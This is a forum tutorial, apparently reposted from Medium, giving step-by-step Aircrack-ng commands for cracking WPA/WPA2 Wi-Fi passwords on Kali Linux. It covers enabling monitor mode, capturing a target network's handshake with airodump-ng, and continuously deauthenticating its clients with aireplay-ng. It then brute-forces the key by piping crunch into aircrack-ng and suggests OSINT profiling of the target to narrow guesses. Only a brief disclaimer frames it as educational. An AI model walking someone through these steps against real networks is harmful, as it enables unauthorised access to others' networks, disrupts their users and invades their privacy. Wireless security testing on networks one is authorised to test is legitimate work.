# WPA-WPA2 Wi-Fi Hacking | A Step-by-Step Guide

**URL:** <https://onehack.st/t/wpa-wpa2-wi-fi-hacking-a-step-by-step-guide/282968>\
**Category:** Tutorials & Methods\
**Tags:** hacking, tips-tricks, operating-system\
**Created:** [May 17, 2024, 7:52pm UTC](https://onehack.st/t/wpa-wpa2-wi-fi-hacking-a-step-by-step-guide/282968 "2024-05-17T19:52:26Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![WhiteHat](https://onehack.st/user_avatar/onehack.st/whitehat/32/162514_2.png) [@WhiteHat](https://onehack.st/u/WhiteHat)\
**Post date:** [May 17, 2024, 7:52pm UTC](https://onehack.st/t/wpa-wpa2-wi-fi-hacking-a-step-by-step-guide/282968/1 "2024-05-17T19:52:26Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/7/0/709b4c66993c21089b4b4f01ebfe3907e42f4900.jpeg)

# Introduction

> Wi-Fi security is a crucial aspect of digital privacy, and understanding how vulnerabilities can be exploited is essential for network administrators and cybersecurity enthusiasts. In this tutorial, we’ll explore the process of hacking WPA-WPA2-protected Wi-Fi networks for educational purposes using Aircrack-ng on Kali Linux.

# Tools Required

Before diving into the process, make sure you have the following tools:

- Network Adapter **(e.g., TL-WN722N V2)** with monitoring mode support.
- Kali Linux installed on your machine.
- Aircrack-ng
- Airodump-ng
- Airmon-ng
- Crunch

# Monitoring Mode Setup

## Step 1: Kill Interrupting Services

- Before enabling monitoring mode, identify and kill services that might interrupt the process:

```auto
sudo airmon-ng check wlan0
sudo airmon-ng check kill

```

![](https://miro.medium.com/v2/resize:fit:700/0*pqzyS99v8xMdV_Ae.png)

## Step 2: Enable Monitoring Mode

- Stop the WLAN interface and enable monitor mode:

```auto
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up

```

- Verify the mode using:

```auto
iwconfig

```

![](https://miro.medium.com/v2/resize:fit:700/0*o3HsY17zjyMzBWXf.png)

# Packet Capture and 4-way Handshake

## Step 3: Capture BSSID and Monitor Network

- Use `airodump-ng` to capture BSSID information:

```auto
airodump-ng wlan0

```

![](https://miro.medium.com/v2/resize:fit:700/0*l4noyKgiObJLJdoP.jpg)

- Select a specific BSSID for monitoring and run:

```auto
airodump-ng -c 1 -w Scan_network --bssid EW:WV:4H:J7:A5:28 wlan0

```

![](https://miro.medium.com/v2/resize:fit:700/0*N7RrAanIiseynMGH.jpg)

- Run the above command in the background.

# Step 4: Deauthentication Process

- Deauthenticate the target Wi-Fi to capture the 4-way handshake:

```auto
sudo aireplay-ng -0 0 -a EW:WV:4H:J7:A5:28 wlan0

```

![](https://miro.medium.com/v2/resize:fit:700/0*fQcEwRQNgLxKXBWr.png)

- Run the command until you see the 4-way handshake in the background code.

# Final Stage: Password Cracking with Crunch and Aircrack-ng

- After capturing the 4-way handshake, the final step involves cracking the Wi-Fi password using `Crunch` and `aircrack-ng`. It’s important to note that the success of this process heavily depends on various factors, including the complexity and length of the password.

## Using Crunch for Password Generation

- In this example, I used `Crunch` to generate possible passwords. Since I knew the Wi-Fi password consisted of only numeric characters, the command was tailored accordingly:

```auto
sudo crunch 8 8 123456780 | aircrack-ng -w - Scan_Kamalesh-01.cap -e KamaleshD

```

![](https://miro.medium.com/v2/resize:fit:700/0*9GmyQq6dznyCIe2R.jpg)

## Note:

> Modify the `crunch` command based on your knowledge of the password, such as adjusting the length or character set.

# Password Length and OSINT

If you don’t know the password, attempting to crack it by testing all possible combinations is an extremely time-consuming process. The number of possibilities can be in the billions, making it practically impossible to crack on a standard PC within a reasonable timeframe.

In such cases, consider leveraging Open Source Intelligence (OSINT) techniques. Analyze social footprints, gather information about the target’s preferences, and try to determine the likely length and complexity of the password. This approach can significantly reduce the search space and increase the chances of successful password guessing.

Remember, ethical hacking involves responsible and legal use of knowledge. Always respect privacy and adhere to ethical standards when engaging in cybersecurity activities.

# Conclusion

Ethical hacking involves understanding vulnerabilities to enhance security measures. This guide aims to provide insights into Wi-Fi security, emphasizing responsible and legal use of knowledge. Always respect privacy and adhere to ethical standards when exploring cybersecurity.

> **Disclaimer:** The content provided in this thread is intended for educational purposes only. The information shared here is meant to contribute to the understanding of cybersecurity and ethical hacking in a responsible and legal manner. `(Source: Medium)`

**Happy learning!**
